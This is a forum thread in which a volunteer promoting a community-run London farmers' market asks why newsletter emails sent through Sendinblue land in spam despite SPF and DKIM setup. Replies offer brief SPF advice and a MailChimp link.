Well the third party (sendinblue) just listed the two txt records, one spf, and one dkim to create on my ISP's (my domian host) DNS.

And here is the spf record: v=spf1 include:spf.sendinblue.com mx ~all (that's obviously the record value, but the 'host' field is blank)

So it looks like that covers all emails coming from sendinblue?

They didnt tell me, for the dkim, you have to split the record up in to managable chunks, which my ISP done for me.

Re: Deliverability of Mailing list recipients

Fri, 24 Aug 2018 17:49:51 -0000

If you're using a third party delivery service, you're definitely going to need to put that service's sending addresses in your domain's SPF record. But they probably told you that already.

Message #4372423

Fri, 24 Aug 2018 17:26:36 -0000

Try our MailChimp.... https://mailchimp.com/pricing/

Deliverability of Mailing list recipients

Thu, 23 Aug 2018 21:55:14 -0000

Hi,

I have a list of people i want to contact via email, around 100. It is for a small site i set up, to save the farmer's market i worked at in London. Basically this market was closed by the company which manages most London Farmer's markets, but the traders and the customers want to keep this market running. We have been negotiating with the school which hosts the market every Sunday, and need to get all the paperwork concerning a new contract sorted out before we can go forward. It looks like this will be a community run market, jointly operated by customers and traders for the local community (cutting out the middleman altogether, just paying rent to the school ) - if we can satisfy the school, with a watertight legal contract.

I collected nearly 100 names and email addresses on the last day of the market (it's shut now a couple of weeks, and we only had a few weeks notice) and would like to send them all an email, pointing them to the website, and online petition, plus mailing list/newsletter i have set up on this site, to keep up to date with the news.

The domain host suggested i get a third party email service to send so many emails, as they have strict filters which would not allow so many mails. After a few false starts, i have an account with Sendinblue, have my domain authenticated, SPF and DKIM records set on my ISPs DNS and had them look over this also. All seems good.

I have set up a few test lists to send around 6 emails at a time to some of my friends and most mail ends up in the spam folders, especially gmail accounts. I have been telling my friends to check all mail from my domain, as 'not spam' and send me a reply - in the hope this might improve my reputation with gmail et al .

Is there anything else i can do?

( i presume, if i had my own citadel server up and running, i could have used the mailing list built in to citadel to send bulk mail ? )